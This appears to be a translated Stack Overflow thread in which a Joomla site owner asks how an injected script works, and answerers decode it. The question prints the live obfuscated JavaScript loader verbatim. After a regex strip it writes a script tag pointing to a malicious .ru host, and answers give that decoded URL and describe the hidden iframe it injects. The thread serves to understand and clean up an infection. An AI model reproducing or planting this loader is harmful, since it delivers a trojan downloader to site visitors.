【问题标题】:How does this site infecting script work?这个站点感染脚本是如何工作的?
【发布时间】:2011-01-08 05:35:18
【问题描述】:

我的 Joomla!网站多次被黑。不知何故,有人设法将以下垃圾注入到关键的 php 脚本中,但我的意思是不要谈论配置 Joomla。该站点的访问量并不多(有时我担心我可能是该站点的唯一访问者......)并且我不太关心该站点的备份和运行。我最终会处理的。

我的问题是,这些垃圾是如何工作的?我看着它,我只是不明白这如何造成任何伤害?它的作用是尝试下载一个名为 ChangeLog.pdf 的 PDF 文件,该文件感染了木马,打开后会冻结您的 Acrobat 并对您的计算机造成严重破坏。它是怎么做到的,我不知道,我不在乎。但是下面这段脚本是如何调用下载的呢?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET 检测到此代码为 JS/TrojanDownloader.Agent.NRO 木马

【问题讨论】:

  • 请不要有人出于好奇而跑去查看链接!
  • 是的,不要四处游荡,试图弄清楚发生了什么,神奇的是 URL 的简单编码以及随后使用您在末尾看到的 Replace/RegEx 对字符串进行解码/解析行的。
  • “一段脚本”一开始读起来完全不一样。

标签: javascript joomla code-injection malware


【解决方案1】:

我的两分钱。您/您是否可以安装 Joomla 备份工具,例如 Joomlapack?

我已将其设置为通过 CHRON 脚本运行,以便在抢劫者进行抢劫时将货物放在手边。

您运行的是哪个版本的 Joomla?

1.0.X 版本不再更新,它的时代已经开始显现。您应该自己做一个备份并计划升级到 1.5 并期待 1.6 的奇迹

【讨论】:

    【解决方案2】:

    这些答案可能会帮助您了解恶意 JavaScript 代码的性质,但您应该寻找的是一种关闭 Joomla 引擎中固有漏洞的方法。预打包的框架容易出现有意或无意的漏洞,尤其是当您考虑到它们被设计用于在 unix、mac 和 windows 环境中工作时。

    我的工作需要我在多种类型的服务器和系统上为客户和我自己运行许多域、应用程序和框架。随着时间的推移,我看到越来越多的机器人在这些系统中爬行,通过这些框架创建的后门入口来寻找已知的漏洞/入口。当我使用任何类型的框架时,我很少这样做,这是一件好事,如果不是整个文件结构,我会确保重命名大部分文件结构,以摆脱那些讨厌的漏洞/后门。至少您可以重命名目录,这将摆脱大多数机器人,但我的方法是完全消除提供有关框架性质线索的引用,其中包括重命名整个文件结构而不仅仅是目录。始终保持新命名约定相对于旧命名约定的映射,以便快速将插件添加到您的基础框架。一旦掌握了这一点,您就可以以编程方式重命名整个框架文件结构以获得更快的结果,这在处理需要能够使用插件等更新其框架的客户时特别有用。

    【讨论】:

    • 只是不要删除有关框架来源的信息,那是完全错误的。
    • 噢,谢谢。这是一个很好的答案。没有真正回答这个问题,但仍然 +1,因为这确实是一个非常有趣的阅读和很好的建议。塔
    【解决方案3】:

    它的加载脚本来自

    h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
    

    并且该脚本从 hidden 可见性加载 iframe

    h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
    

    【讨论】:

      【解决方案4】:

      注意在巨大的混乱字符串之后的replace 调用:.replace(/#|\$|@|\^|&amp;|\(|\)|\!/ig, '')。

      它删除了大部分特殊字符,将其转换为普通 URL:

      evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
      

      (我手动将http:更改为evil:)

      请注意,正则表达式可能已简化为 .replace(/[#$@^&amp;()!]/ig, '')

      如果您查看该脚本,您会发现它是一个非常简单的脚本,它注入了一个隐藏的 IFRAME,其中包含来自同一域的路径 /index.php?ys。

      我在 Fiddler 中请求了该页面,但它没有内容。

      【讨论】:

      • 我认为提供 iframe 内容的脚本是为了避免每次都启动 pdf 下载。可能有十分之一的机会或类似的机会。每次我刷新 joomla 页面时,它都没有尝试下载 pdf。甚至可能是 100 分之一...谁知道呢?
      • +1 表示可以更高效地编写代码。 :)
      • @Pekka,我认为它是故意这样写的,以便更加晦涩
      • @Elipticalview 绝对是。如果作者担心效率,他肯定不会使用 RegEx 替换来派生静态字符串。哈哈。
      • 我看不出不区分大小写的模式修饰符对没有字母的模式有什么好处。我也会在字符类之后使用+ ...如果使用正则表达式。
      【解决方案5】:

      它只是对脚本 url 进行正则表达式替换以提供给您

      注意:请勿点击以下链接(插入 ** 以阻止复制粘贴)

      http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
      

      作为src

      【讨论】:

      • 就这么简单,是吗?天哪……我又被 SO 骗了 :)
      • @Josh - 这取决于你,我还没有尝试过,所以不能告诉你确切的原因。我怀疑页面上可能有恶意脚本。您可以自行承担风险!
      【解决方案6】:

      当你阅读全文时,你会发现它是一个字符串,后面跟着一个替换命令。

      【讨论】:

        【解决方案7】:

        它使用replace函数使用正则表达式替换垃圾字符,代码没有错:

         ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
        

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2018-11-07
          • 2021-07-06
          • 1970-01-01
          • 2021-07-29
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多